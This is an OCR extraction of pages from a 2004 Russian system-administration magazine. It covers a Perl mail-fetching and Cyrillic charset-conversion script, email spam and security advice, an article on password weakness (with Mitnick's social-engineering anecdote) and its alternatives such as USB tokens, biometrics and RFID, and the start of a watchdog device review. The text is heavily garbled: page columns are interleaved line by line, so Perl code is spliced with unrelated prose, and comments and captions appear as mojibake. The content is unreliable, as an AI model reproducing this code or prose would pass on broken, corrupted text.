# Åñëè çàêîäèðîâàíî, äåêîäèðóåì åãî, âî èìÿ ñ÷àñòüÿ win => "\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA ↵
if (lc($origType) eq 'quoted-printable') \xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6 ↵
{ $body = MIME::QuotedPrint::decode($body); } \xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2 ↵
if (lc($origType) eq 'base64') \xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE ↵
{ $body = MIME::Base64::decode($body); } \xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA ↵
\xFB\xFC\xFD\xFE\xFF",
$bodyCoding = lc($bodyCoding); koi => "\xE1\xE2\xF7\xE7\xE4\xE5\xF6\xFA\xE9\xEA\xEB ↵
\xEC\xED\xEE\xEF\xF0\xF2\xF3\xF4\xF5\xE6\xE8\xE3 ↵
# Ïåðåêîäèðîâêà êèðèëèöû ó òåëà, åñëè íàäî \xFE\xFB\xFD\xFF\xF9\xF8\xFC\xE0\xF1\xC1\xC2\xD7 ↵
if ($bodyCoding ne '') \xC7\xC4\xC5\xD6\xDA\xC9\xCA\xCB\xCC\xCD\xCE\xCF ↵

78
web
\xD0\xD2\xD3\xD4\xD5\xC6\xC8\xC3\xDE\xDB\xDD\xDF ↵ # åñëè áîëüøèõ áóêâ áîëüøå – ñêîðåå âñåãî ýòî KOI8
\xD9\xD8\xDC\xC0\xD1", # è ìû ïåðåêîäèðóåì ýòî â Windows
iso => "\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA ↵ return encoder($src, 'koi', 'win') if ($ucount > $lcount);
\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6 ↵
\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2 ↵ # èíà÷å, êàê è ðàíåå, âîçâðàùàåì íåèçìåíåííûé çàãîëîâîê
\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE ↵ return $src;
\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA ↵
\xEB\xEC\xED\xEE\xEF", }
dos => "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A ↵
\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96 ↵ Собственно, идея основана на том факте, что слово
\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2 ↵ «Новость» в кодировке KOI будет восприниматься как
\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE ↵
\xAF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA ↵ «оПЧПУФШ» в кодировке Windows. Прием довольно
\xEB\xEC\xED\xEE\xEF", спорный, но имеет право на существование. Абсолютно
koi_lc => "tr/\xB3\xE0-\xFF/\xA3\xC0-\xDF/", не применим на больших объемах текста – поверьте на
koi_uc =>"tr/\xA3\xC0-\xDF/\xB3\xE0-\xFF/", слово.
win_lc => "tr/\xA8\xC0-\xDF/\xB8\xE0-\xFF/",
win_uc =>"tr/\xB8\xE0-\xFF/\xA8\xC0-\xDF/",
alt_lc => "tr/\xF0\x80-\x9F/\xF1\xA0-\xAF\xE0-\xEF/", Тема безопасности, аутентификация,
alt_uc => alt_lc => "tr/\xF1\xA0-\xAF\xE0- ↵
\xEF/\xF0\x80-\x9F/", вклинивания
iso_lc => "tr/\xA1\xB0-\xCF/\xF1\xD0-\xEF/", Любое письмо, попавшее на ящик, может стать атакой или
iso_uc => "tr/\xF1\xD0-\xEF/\xA1\xB0-\xCF/",
dos_lc => "tr/\x80-\x9F/\xA0-\xAF\xE0-\xEF/", просто спамом. Как с этим бороться?
dos_uc => "tr/\xA0-\xAF\xE0-\xEF/\x80-\x9F/", Прежде всего вы можете организовать интернет-рас-
mac_lc => "tr/\xDD\x80-\xDF/\xDE\xE0-\xFE\xDF/",
mac_uc => mac_lc => "tr/\xDE\xE0-\xFE\xDF/\xDD\x80-\xDF/" сылку, где сможете управлять регистрацией нужных вам
); подписчиков. Обычно в системах рассылки уже встроены
if (!$enstring or !$cfrom or !$cto) {return 0} свои собственные механизмы борьбы со спамом.
else { Описанный выше сценарий также подходит к делу
if ($cfrom ne "" and $cto ne "lc" and $cto ne "uc") {
$_ = $enstring;$cfrom = $codefunk{$cfrom};$cto = принципиально. Принимаются только те сообщения, ко-
$codefunk{$cto}; торые пришли в виде текста. Кроме того, вырезаются бан-
eval "tr/$cfrom/$cto/"; return $_;
} неры, расположенные обычно после символов «\n— \n»
elsif (($cfrom ne "") and ($cto eq "lc" or $cto eq "uc")) { (это – стандарт TheBat). Также скрипт соблюдает логику:
$_ = $enstring; $cfrom = $codefunk{"$cfrom\_$cto"};
eval $cfrom; return $_; «можно только то, что разрешено», а не «можно то, что не
} запрещено».
}
return $enstring; Если проблемно организовать рассылку, скорее всего
} вам необходимо будет добавить проверку ключа (напри-
Если вы не поняли, как это работает, поясню. Данный мер, в теме письма должен быть соответствующий иден-
пример скачивает с почтового ящика все письма, обрабаты- тификатор). Идентификатор отбрасывает почти все про-
вает их и передает системе управления базами данных либо блемы с безопасностью, однако это не накладывает огра-
куда-то еще. Этот код является основой описываемой тех- ничения на входящий трафик.
нологии. Как я и обещал, соблюдена полная кросс-платфор- Замечание: если не считать проблемой открытость
менность между Windows и UNUX-системами. Все исполь- передачи самого идентификатора и то, что вставить его в
зуемые в скрипте библиотеки легко доступны. заголовок может каждый увидевший.
От редактора: в процессе редактирования статьи было Но самый безопасный вариант – принимать только
замечено, что тот же самый Outlook Express нечасто ко- текст, зашифрованный или подписанный при помощи про-
дирует русские буквы в заголовках сообщений. Все это, грамм семейства PGP. Это также исключит возможность
конечно, зависит от настроек, но мало кто из пользовате- прочитывания писем при случайном доступе к ящику.
лей Outlook занимается дотошной настройкой своего по-
чтового клиента. Немного рекламы
Поэтому процедура xcode при работе с такими заго- Ранее мы коснулись темы хранения данных. Важно пони-
ловками не диагностировала необходимость перекодиро- мать, что, кроме простых функций вроде публикации рас-
вания. Немного подумав, была придумана небольшая сылки, со временем функциональность может обрасти свя-
модификация. Это не панацея, а скромная попытка пере- зями с различными разделами, а приходящие данные смо-
крыть некоторые проблемы – угадать кодировку KOI8-R в гут иметь сложную структуру. Плюс ко всему – не каждый
заголовке. Для этого внесем только одну коррективу в может себе позволить профессиональный хостинг.
процедуру xcode – чуть усилим проверку: Ради этого всего появилось на свет ядро ret WebOS,
которое (как одно из направлений) предлагает альтерна-
# çàêîììåíòèðóåì ñòðîêó, âîçâðàùàþùóþ íåèçìåíåííûé тиву серверу SQL. Код системы минималистичен и для
# çàãîëîâîê è ïðîäîëæèì ïðîâåðêó:
своей работы требует лишь наличия модуля Storable (ко-
# return $src unless ($charsets{lc($charset)}); торый входит в стандартную поставку с Perl 5.8).
unless ($charsets{lc($charset)})
{ В свою очередь модуль blogs.pm предоставляет воз-
# åñëè êîäèðîâêà íåîïðåäåëåíà, ñ÷èòàåì âõîæäåíèå можность хранить структуры данных любой сложности и
# áîëüøèõ è ìàëåíüêèõ ðóññêèõ áóêâ
$upper = "¨ÉÖÓÊÅÍÃØÙÇÕÚÔÛÂÀÏÐÎËÄÆÝß×ÑÌÈÒÜÁÞ"; осуществлять к ним доступ как к разделам сайта. Дан-
$lower = "¸éöóêåíãøùçõúôûâàïðîëäæýÿ÷ñìèòüáþ"; ные хранятся в плоских файлах. Интернет-адрес проек-
$ucount = eval("\$src =~ tr/$upper/$upper/;");
$lcount = eval("\$src =~ tr/$lower/$lower/;"); та: http://jkeks.far.ru/ret. Добро пожаловать!

№4(17), апрель 2004 79


образование

В ЧЕМ СЛАБОСТЬ ТВОЯ?

Несмотря на все усилия при построении защиты в компьютерном деле наиболее уязвимым
и наименее предсказуемым остается человек. К сожалению, при работе на компьютере человек
способен только понизить уровень защищенности, если он не выполняет определенных требований
безопасности. Последние примеры схем распространения вирусов по электронной почте (MуDoom,
Bagle и т. д.) показали, что любопытство пользователей активно используется вирусописателями
наряду с эксплуатацией известных уязвимостей программных продуктов и, что это может повлечь
серьезные проблемы для всего сообщества Интернет. Так как проблема человеческого фактора
в вопросах безопасности достаточно объемная, то в данной статье мы остановимся только
на вопросах, связанных с парольной защитой, и даже в рамках этой темы только ее частью –
способом хранения конфиденциальной информации для аутентификации.

МАКСИМ КОСТЫШИН

82
образование
Немного истории латы доступа в сети Интернет, при этом часть этих кар-
В первой главе своей книги известный компьютерный точек даже не поступала еще в продажу. Как показало
взломщик Кевин Митник так описывает подробности про- расследование, «все карточки экспресс-оплаты изготав-
никновения в компьютерную систему корпорации DEC. ливались в коммерческой типографии. В процессе из-
«…Представившись как Антон Чернофф, который был готовления некоторые карточки получались бракован-
одним из ведущих разработчиков проекта, я сделал про- ными и уничтожались ненадлежащим способом, после
стой звонок системному администратору. Я притворил- чего просто выбрасывались на территории типогра-
ся, что не могу зайти через одну из «моих» учетных за- фии», – отметили в пресс-службе. Молодой человек
писей, и был достаточно убедительным, чтобы прика- работал в одном из офисов, расположенном на терри-
зать парню дать мне доступ и позволить выбрать такой тории типографии, где и подбирал остатки карточек,
пароль, какой я выберу сам. Во время входа по удален- среди которых и были карточки указанной компании, а
ному телефонному доступу пользователь должен дать также многих других интернет-провайдеров, операто-
также и пароль, что было дополнительным уровнем за- ров IP-телефонии и сотовой связи. Собрав и сложив
щиты. Системный администратор сказал мне пароль. обрезки, он получил секретные PIN-коды.
Это слово было «buffoon» (дословно: шут, фигляр), по-
моему, это то, кем он должен был себя почувствовать, Что же делать?
когда понял все, что произошло. Я получил доступ к Факты человеческой беспечности будут присутствовать
RSTS/E – системе разработки DEC. И я вошел не как в нашей жизни всегда. Однако вернемся все же к теме
рядовой пользователь, а со всеми привилегиями раз- статьи. Попытаемся ответить на вопрос, что реально
работчика системы...». можно предпринять для решения проблем безопаснос-
Несмотря на то, что эта история, описанная выше, ти при использовании паролей.
случилась в прошлом тысячелетии, XXI век вполне мо- Одно из направлений работы может быть связано с
жет соревноваться по анекдотичности ситуаций, при ко- ужесточением требований административного характе-
торых беспечность пользователей в отношении своих ра. Стандартной мерой является введение ограничения
паролей просто поразительна. смены пароля через каждые три месяца, полгода, год,
На проходившей в апреле 2003 года в Лондоне выс- а также установка ограничения на сложность пароля в
тавке InfoSecurity Europe 2003 (www.infosec.co.uk) ее политиках безопасности операционной системы или на
организаторы провели ставшее уже традиционным ис- уровне домена (для Windows см. «Пароли должны от-
следование сознательности офисных работников в воп- вечать требованиям сложности» или «Passwords must
росах безопасности. На столичной станции Waterloo под meet complexity requirements»). При этом помимо иных
видом социального опроса предлагалось в обмен на де- требований будет проверяться, не содержат ли пароли
шевую ручку ответить на ряд вопросов, в том числе на- части имени пользователя или не используется ли пос-
звать свой пароль, а также определить те критерии, по леднее в их качестве.
которым он формируется. 90% сразу назвали пароль Также обязательным станет наличие заглавных букв,
(для сравнения, 65% – в 2002 году). Заметим справед- прописных букв и неалфавитных символов. Кроме того,
ливости ради, что правдивость ответов никто никогда будет проводиться проверка соблюдения минимальной
выяснить не сможет. длины пароля – 6 символов.
Один из опрошенных вначале отказался назвать Можно не сомневаться, что итогом такой профилак-
свой пароль, сославшись на требования безопасности, тической работы по повышению уровня защиты паро-
однако вскоре выяснилось, что в качестве пароля он ис- лей станет практика сохранения паролей на листочке
пользует имя дочери, а немного позже мнимые социо- (возможно, даже для лучшей защиты бумага с паролем
логи смогли выяснить и как ее зовут. Согласно полу- дополнительно будет помещаться в сейф). Кроме того,
ченной в ходе исследования статистике часто паролем администраторы получат дополнительную головную
являлось слово «password» (12%), а другими популяр- боль от обращений пользователей, забывших свои па-
ными категориями были собственное имя (16%), назва- роли (не секрет, что некоторые пользователи не помнят
ние любимой футбольной команды (11%) и дата рожде- даже своего имени для входа в сеть).
ния (8%). Два третьих опрошенных дали свой пароль Однако давайте задумаемся о том, в чем же заклю-
коллеге (показатель аналогичен 2002 году), а три чет- чается суть проблемы при работе пользователей с па-
верти знали пароли их сослуживцев. Дополнительно к ролем. Для этого сформируем основные свойства па-
использованию пароля для доступа к их информации в роля, которые влекут за собой предпосылки к утечке
компании, две трети использовали тот же пароль вез- конфиденциальных данных:
де, включая их персональные банковские счета, цент- ! Адаптированное для восприятия человеком пред-
рализованный доступ Web и т.п. ставление. Пароль – это определенная комбинация,
Настораживает то, что некоторые методы взлома, ис- которую человек в состоянии запомнить и соответ-
пользованные Митником в 90-х годах в процессе своей ственно может забыть или раскрыть кому-либо.
криминальной деятельности, вполне работают и сегод- ! Возможность копирования. Пароль в его современ-
ня. В марте этого года в прессе была опубликована ин- ном виде может быть продублирован различными
формация о задержании москвича-мошенника, который способами, контроль за этими процессами невоз-
торговал секретными PIN-кодами карточек экспресс-оп- можно наладить.

№4(17), апрель 2004 83


образование
Следовательно, повышение надежности защиты поль- USB-идентификатор iKey и технологии контроля доступа
зователей может обеспечить отсутствие указанных в здания с использованием бесконтактных (т.н. proximity)
свойств в ситуациях, когда необходима идентификация карт на частоте 125 кГц от HID Corporation в единое уст-
и аутентификация пользователей. Если человек не в со- ройство для безопасного доступа в здания и доступа к
стоянии запомнить информацию для доступа в сеть, зна- защищенным данным.
чит, он не сможет ее никому раскрыть, даже по принуж- Несмотря на все свои преимущества USB-ключи об-
дению. Если информацию для доступа в сеть невозмож- ладают и недостатками. Основными проблемами, с кото-
но продублировать, значит, владелец и администратор рыми можно столкнуться при использовании USB-ключей,
могут ее гарантированно контролировать. Меньше про- являются:
блем при этом возникает для ситуаций увольнений, ког- ! поддержка в USB-ключах государственных криптогра-
да сотрудник перед своим уходом передает данные фических алгоритмов электронно-цифровой подписи
аутентификации администратору корпоративной сети и и шифрования (обычно в USB-ключах и программном
гарантированно теряет возможность доступа к корпора- обеспечении поддерживается работа только RSA и
тивным информационным ресурсам. Далее в статье при- DES-алгоритмов);
водится попытка систематизировать информацию о су- ! наличие аппаратной реализации криптографических
ществующих в настоящее время подходах, которые мо- операций (стойкость системы, построенной на основе
гут прийти на смену общепринятым паролям. ключей с программной реализацией, на порядок ниже,
т.к. критические операции будут выполняться на ва-
USB-ключи шем компьютере и потребуют извлечения из ключей в
Наиболее перспективной альтернативой паролям оста- память компьютера секретных данных).
ется использование для аутентификации пользователя
USB-ключей, которые напрямую подключаются к ком- Биометрические устройства
пьютеру через порт USB (Universal Serial Bus). Размер К биометрическим технологиям относятся распознавание
таких устройств позволяет носить их в связке с обыч- индивидуальных особенностей пальца, рисунка радужной
ными домашними ключами. Они не требуют дополни- оболочки глаза, голоса, лица, фигуры человека. Соглас-
тельных считывателей, имеют встроенную память 8/16/ но статистике, приведенной ниже, наиболее распростра-
32/64 Кб для хранения персональной информации и удо- ненным объектом биометрической идентификации пока
стоверений личности, а также независимый процессор остается палец.
для аутентификации и защиты данных при работе в
сети. Все известные USB-ключи имеют уникальный се-
рийный номер (32/64 бита). Данные на USB-ключе до-
полнительно защищаются с использованием так назы-
ваемого PIN-кода. Кроме того, в функциональность
USB-ключей включен генератор случайных чисел. С
использованием таких устройств можно обеспечить
работу с инфраструктурой открытых ключей – PKI. При
этом весь процесс генерации вашего личного криптог-
рафического ключа, формирование электронной циф- Ðèñóíîê 2. Äàííûå Biometric market report 2000-2004
ровой подписи никогда не выйдет за пределы USB-брел- Биометрия – серьезный конкурент USB-ключам, и боль-
ка (в случае аппаратной реализации криптоалгоритмов). шие успехи в этой области ожидались уже в 2003 году.
В среднем стоимость USB-устройств составляет 30-50$, Однако ряд негативных моментов не позволил прогнозам
в зависимости от размещенного объема памяти и реа- сбыться. Одним из основных препятствий развитию рын-
лизованных функций. ка биометрических технологий специалисты считают от-
сутствие стандартов в этой отрасли. Серьезным минусом
до последнего времени являлась очень высокая стоимость
изделий (около $150). Недавно в прессе появилась инфор-
мация о том, что компания APC выпустила компактное
устройство персонального биометрического контроля до-
Ðèñóíîê 1. Èäåíòèôèêàòîð eToken R2 ступа к компьютеру, которое должно появиться в прода-
К наиболее часто встречаемым на рынке СНГ USB- же в марте 2004 года по цене $50.
ключам относятся следующие продукты:
! iKey – компании Rainbow Technologies
(http://www.rainbow.msk.ru/);
! eToken – компании «Аладдин»
(www.aladdin.ru).
Ðèñóíîê 3. USB-óñòðîéñòâî ïåðñîíàëüíîãî áèîìåòðè÷åñêîãî
Заметим, что недавно в прессе появилась информа- êîíòðîëÿ äîñòóïà ê êîìïüþòåðó êîìïàíèè APC
ция о выпуске Rainbow Technologies нового гибридного Не секрет, что в последнее время биометрией серьез-
устройства под названием RfiKey, совмещающего в себе но заинтересовались правительства различных госу-

84
образование
дарств, что может свидетельствовать о хороших перспек- Другие типы устройств, которые могут
тивах развития этой отрасли. Вот только краткая инфор- использоваться для авторизации
мация за 2004 год. пользователей
Смарт-карты (микропроцессорные карты). Технология
Евросоюз использования смарт-карт по своим внутренним функ-
20 февраля Еврокомиссия приняла предложения о вклю- циям аналогична технологии USB-ключей, описанной
чении биометрических данных в паспорта граждан Евро- выше. Отличие заключается только в том, что получе-
союза. Согласно этим предложениям, все граждане стран ние данных из смарт-карт предполагает наличие еще и
ЕС, а также иностранцы, пребывающие в ЕС, должны бу- считывателя, который может быть встроен в клавиату-
дут пройти идентификацию 1800 характеристик лица, от- ру, подключен к COM, LPT или USB-порту. Соответствен-
печатков пальцев для записи их в Шенгенскую Информа- но наличие считывателя влечет за собой как удорожа-
ционную Систему (SIS II). Аналогичные данные будут за- ние проектов (стоимость считывателя составляет около
писаны в микрочип на паспортах. $50, микропроцессорной карты – $5-20), так и вносит
неудобства в процесс непосредственного применения.
Россия
МВД России приступило к разработке новых загранпас-
портов, содержащих биометрические данные. Основное
их отличие от ныне действующих заключается в том, что
документы нового поколения будут содержать в электрон-
ной форме сведения о биометрических данных их владель- Ðèñóíîê 4. Ìèêðîïðîöåññîðíàÿ êàðòà CryptoFlex è óñòðîéñòâî
цев. На сегодняшний день в качестве биометрических ÷òåíèÿ/çàïèñè ñìàðò-êàðò â âèäå FDD ACF30
данных, подлежащих обязательному внесению в загранич- iButton – разработка компании Dallas Semiconductor.
ные документы, странами «восьмерки» предварительно Модельный ряд идентификаторов iButton довольно ши-
определены закодированное изображение лица и отпе- рок и разнообразен. iButton представляет собой микро-
чатков пальцев их владельцев. схему, вмонтированную в герметичный стальной корпус.
Корпус отдаленно напоминает батарейку для наручных
США часов и имеет диаметр 17,35 мм. Для передачи инфор-
Программа VISIT, представленная Департаментом внут- мации в компьютер используется считыватель, который
ренней безопасности США, требует от всех претендентов может подключаться на COM, LPT или USB-порт компь-
на въездную визу иметь биометрическую информацию в ютера. В конце 1990-х устройство достаточно широко ис-
паспортах к октябрю 2004 года. пользовалось для хранения конфиденциальных данных
при разработке различных криптографических аппарат-
Британия но-программных средств.
Предполагается, что будет создана централизованная
база данных обо всех жителях Соединенного Королевства
и введены обязательные биометрические идентификаци-
онные карты, которые должны будут включать рисунок ра-
дужной оболочки глаза, отпечатки пальцев или ладони.
На первом этапе планируется включить биометрическую
информацию в паспорта и водительские удостоверения
граждан Британии. Кроме того, предполагается выдача Ðèñóíîê 5. Ñòàíäàðòíûé âèä iButton
идентификационных карточек гражданам ЕС и другим Несмотря на серьезные характеристики по надежно-
иностранным гражданам, проживающим в Великобрита- сти и малую стоимость устройства iButton не нашли ши-
нии. Идентификационные карты будут также предлагать- рокого применения для аутентификации пользователей
ся в качестве дополнительного документа гражданам, не из-за небольшой емкости памяти (Кб информации), не-
имеющим паспорта или водительского удостоверения. обходимости считывателя, зависимости его срабатыва-
ния от точности ручного соприкосновения идентифика-
Китай тора и считывателя, осуществляемого вручную.
Новые паспорта граждан должны включать информацию RFID-устройства (Radio Frequency Identification – ра-
о рисунках отпечатков пальцев и сетчатки глаза. Помимо диочастотная идентификация) – устройства, аналогич-
этого предполагается, что удостоверение личности будет ные которым часто используют в системах контроля до-
содержать 18-битный код с генетической информацией о ступа и больше известны как proximity-карты. До настоя-
владельце. Для перехода на новые паспорта Китаю, по щего времени RFID-технология не нашла применения при
оценкам официальных лиц, понадобится пять-шесть лет. аутентификации пользователей компьютеров, однако ак-
К недостаткам технологии биометрической аутентифи- тивный интерес со стороны потребителей, а также раз-
кации можно отнести пока еще высокую стоимость таких витие технологий в этой сфере может привести к тому,
изделий, а также необходимость дополнительного устрой- что широкое распространение таких устройств в нашей
ства считывания биометрических данных, что является оп- жизни позволит найти применение в сфере компьютер-
ределенным неудобством при использовании. ных технологий.

№4(17), апрель 2004 85


образование
RFID-устройства представляют собой крохотную мик- ного обеспечения, от компьютеров до PDA и сотовых
росхему (разработка японской компании FEC Inc. – RFID- телефонов. Результатом деятельности TCPA стали пер-
чип Manathir занимает площадь в половину квадратного вая в мире BIOS, поддерживающая спецификацию TCPA
миллиметра, стоимость около 10 центов), которая обыч- 1.0 компании American Megatrends Inc. (AMI); процессор
но не имеет собственного источника питания, но наде- Prescott от Intel, в котором заявлена встроенная систе-
лена памятью и антенной. В памяти обычно записан не- ма защиты информации La Grande. У Microsoft есть свой
кий уникальный номер («идентификатор»), либо набор Palladium, у VIA – Padlock. Несомненно, что определен-
информации, хранящий полезные сведения о том пред- ный промежуток времени понадобится производителям
мете, на который помещен данный чип, а антенна слу- программного обеспечения для того, чтобы поддержать
жит для улавливания сигнала внешнего, расположенно- аппаратные реализации спецификации TCPA на уров-
го от десятков сантиметров до нескольких метров, счи- не операционной системы. Возможно, что в течение бли-
тывающего устройства – радиосканера и передачи от- жайших лет персональные компьютеры, удовлетворя-
вета с использованием энергии принятых электромагнит- ющие требованиям TCPA, появятся в продаже. Тенден-
ных волн. RFID-технология разрабатывалась в качестве ции решения вопросов безопасности на аппаратном
замены устаревшему штрих-кодированию. уровне, несомненно, окажут влияние на весь спектр
Применение RFID-устройств позволяет маркировать решений по компьютерной защите и скажутся на даль-
товары в магазинах розничной торговли, использовать нейшем развитии технологий аутентификации пользо-
при изготовлении банкнот и документов, имплантация в вателей.
человеческие органы или использование других мето-
дов помещения подобных устройств на человека для кон- Некоторые итоги
троля его перемещения. Активно используемая парольная защита пользовате-
лей не удовлетворяет возросшим требованиям компь-
ютерной безопасности. Пароль становится слабым зве-
ном системы защиты и требует замены. В настоящее
время, когда необходимо обеспечить достаточный уро-
вень безопасности при аутентификации пользователей,
альтернатив USB-ключам нет. Указанные устройства
предлагают максимально возможный уровень комфор-
та для работы пользователей, а также гарантирован-
Ðèñóíîê 6. ×èï, èìïëàíòèðóåìûé ïîä êîæó ÷åëîâåêà, øïðèö äëÿ ный уровень безопасности при использовании схемы
åãî ââîäà è ñêàíåð VeriChip ïðîèçâîäñòâà àìåðèêàíñêîé êîð- хранения и обработки личных секретных данных вне
ïîðàöèè Applied Digital Solutionsè (ADSX)
компьютера. Однако успехи в биометрической облас-
К недостаткам RFID-систем относят слабую элект- ти, снижение себестоимости биометрических устройств
ромагнитную защищенность (недавно компания RSA аутентификации, а также развитие других технологий
Security, продемонстрировала опытный образец систе- могут позволить через 2-3 года определить других ли-
мы Anti-RFID, позволяющей эффективно «глушить» ра- деров для решений в области альтернатив парольной
диосканеры RFID) и высокую стоимость (на отечествен- аутентификации пользователей.
ном рынке идентификаторы в зависимости от типа сто-
ят от 1,3 до 5 долл., цена считывателей может превы- Источники информации:
шать $150). 1. «Первая (отсутствующая) глава книги Кевина Митни-
ка», Компьютерная газета №1 (12 января 2004 г.)
О внедрении стандартов TCPA http://msk.nestor.minsk.by/kg/2004/01/kg40123.html;
В архитектуру персональных компьютеров, которая была 2. «Office workers give away passwords for a cheap pen»,
разработана в 1980-х, не закладывались серьезные тре- J.Leyden
бования к вопросам безопасности (предполагалось, что http://212.100.234.54/content/55/30324.html;
компьютеры будут работать под управлением однополь- 3. «Как лучше потерять пароль», В.Демидов, Газета «Ком-
зовательской операционной системы, а подключение к пьютерные Вести», №28, 2001 г.
Интернету даже не обсуждалось). Проблемы безопасно- www.kv.by/index2001282201.htm;
сти в основе компьютерных решений требовали принци- 4. «Новое лицо идентификационных устройств», Э.Кларк,
пиально новых решений, и в 1999 году был создан про- Журнал «LAN», №09, 2000 г.
мышленный консорциум, объединивший свыше 100 тех- http://www.osp.ru/lan/2000/09/059.htm;
нологических компаний, известный как Trusted Computing 5. «Аппаратно-программные средства контроля доступа»,
Platform Alliance – TCPA (http://www.trustedcomputing.org), В. Шрамко, «PCWeek/RE», N9, 2003 г.
определивший аппаратные дополнения к архитектуре 6. «A Security Analysis of the Secure Electronic Registration
персональных компьютеров, которые должны исправить and Voting Experiment (SERVE)», January 20, 2004 г.
некоторые недостатки безопасности. В мае 2003 года http://www.servesecurityreport.org/;
компания была реорганизована в новую отраслевую 7. «Защита подождет?», В.Соболев, Журнал «Мир ПК»,
группу Trusted Computing Group (TCG), функции кото- №02, 2004 г.
рой расширились на все виды программного и аппарат- http://www.osp.ru/pcworld/2004/02/028.htm.

86
hardware

СТОРОЖЕВОЙ ПЕС

АНДРЕЙ БЕШКОВ

88
hardware
На прошлой неделе редакция нашего журнала попросила
меня провести тестирование в боевых условиях устройства
watchdog, предназначенного для мониторинга и восстанов-
ления работоспособности зависших серверов через прину-
дительный перезапуск. На первый взгляд такое устройство
имеет немного шансов для массового применения, так как
любой сервер априори задумывается как сущность, которая
должна работать круглосуточно и бесперебойно. Многие
системные администраторы гордятся тем, что под их коман-
дованием есть сервера, которые функционируют без пере-
загрузки по 360 дней и более. В то же время серверные опе-
рационные системы специально разрабатываются с прице-
лом именно на такой режим использования. Хотя, судя по
моему опыту эксплуатации разнообразных серверных сис-
тем, это еще ничего не значит, и как показывает практика,
вместо исправленных ошибок постоянно находятся новые.
К сожалению, на свете не существует безошибочных про-
грамм, плюс ко всему довольно часто на сервере работают
службы, написанные сторонними производителями. А это в
свою очередь также добавляет в систему нестабильности.
Учитывая то, что мы живем в неидеальном мире, часто скла-
дывается ситуация, когда сам сервер настроен не очень пра- Далее идет шнур RS232 для подключения к COM-пор-
вильно из-за недопонимания основ функционирования сис- ту компьютера. Два дополнительных провода бледноро-
темы или халатности администратора. Поэтому довольно ча- зового цвета служат для присоединения к кнопке reset или
сто случается, что сервера виснут намертво в самый непод- power подопытного сервера. Это в свою очередь помога-
ходящий момент. Хорошо, если администратор рядом, а что ет правильно управлять питанием ATX серверов. В моем
делать, если его нет поблизости и никто не знает, что де- случае использовался именно такой сервер.
лать. Или представим, что зависание произошло ночью, ехать
на другой конец города только ради того, чтобы запустить
злополучный сервер, удовольствие не из тех, что хочется
испытывать как можно чаще.
Порыскав в сети, удалось узнать, что производителем
устройства является Comar Technology. Честно говоря, сайт
www.comar.ru дизайном не впечатлил, впрочем, тут же поду-
малось о том, что это не самое главное, поэтому, закрыв
глаза на мелкие недочеты, я углубился в чтение техничес-
ких спецификаций, инструкций по применению прибора и
отзывов тех, кому уже пришлось воспользоваться данным
устройством. Закончив с этим занятием, решил принять
столь любезное предложение, да и самому было весьма ин-
тересно попробовать на зуб эту диковинку. Примерно через
сутки расторопный и ужасно деловитый курьер DHL доста-
вил загадочную посылку прямо на мой рабочий стол. С не-
терпением разорвав упаковку, я стал разбираться в том, что Следом за двумя вышеперечисленными предметами
находилось в заветном пакете. Итак, давайте посмотрим, что из коробки был извлечен знакомый всем до боли кабель
входит в стандартную поставку устройства watchdog. для подвода электропитания.
Сам прибор выглядит довольно просто, в то же время
презентабельно, плюс ко всему выполнен из ударопрочно-
го пластика, что отнюдь не маловажно в наше неспокой-
ное время. В переднюю панель прибора встроены красный
и зеленый светодиоды, служащие для индикации состоя-
ния самого устройства и наблюдаемого сервера. Там же
находятся два переключателя. Черный подает питание на
устройство, а серый разрешает ему работать в режиме мо-
ниторинга. Если перевести серый переключатель в поло-
жение «выкл», то прибор превращается в обычный элект-
рический удлинитель и не пытается вмешиваться в работу
сервера. Такой режим полезен при первоначальной на-
стройке сервера.

№4(17), апрель 2004 89


hardware
И на закуску прилагается CD-диск с документацией и Инсталляция программного продукта начинается до-
прикладным программным обеспечением. Кстати, стоит вольно буднично – с выбора каталога, где он впоследствии
отметить хорошее чувство юмора человека, писавшего будет жить.
документацию и комментарии внутри всех конфигураци-
онных файлов.
Итак давайте разберемся с тем, как работает весь ком-
плекс. Приглядевшись к задней стороне прибора, видим,
что электропитание стандартным шнуром подается на
устройство и с него уже передается на сервер.

Затем нужно определить, в какой комплектации про-


грамма будет установлена. Тоже, казалось бы, простая за-
дача. Но в реальной жизни все не так просто.

Таким образом, становится понятно, что watchdog мо-


жет выключать и включать сервер, размыкая и соединяя
вновь питающую цепь. Любопытный читатель обязатель-
но спросит о том, как watchdog определяет, в каком со-
стоянии находится наблюдаемый объект. Все очень про-
сто: кабель RS232, о котором мы говорили ранее, подсое-
диняется одним концом к прибору, а вторым – к COM-порту
сервера. На сервере устанавливается и запускается де-
мон watchdogd, который через определенные промежут- Вот тут нас уже поджидают первые неполадки. На сним-
ки времени посылает по кабелю Live-пакет. Устройство ке экрана четко видно, что нам предоставлена возмож-
ловит его и понимает, что дела у сервера идут отлично и ность самостоятельно выбрать, какие именно компонен-
пока вмешиваться в работу системы не нужно. Два до- ты необходимо поставить. Свое волеизъявление можно
полнительных провода подсоединяются к контактам кноп- выразить двумя путями, либо расставляя галочки рядом
ки power или reset. Довольно часто бывает, что после по- с нужными частями программного обеспечения, либо выб-
тери питания сервера, собранные в ATX-корпусах, не под- рав из ниспадающего меню одно из предопределенных
нимаются самостоятельно при восстановлении подачи пи- типов установки. До тех пор, пока вы пользуетесь вариан-
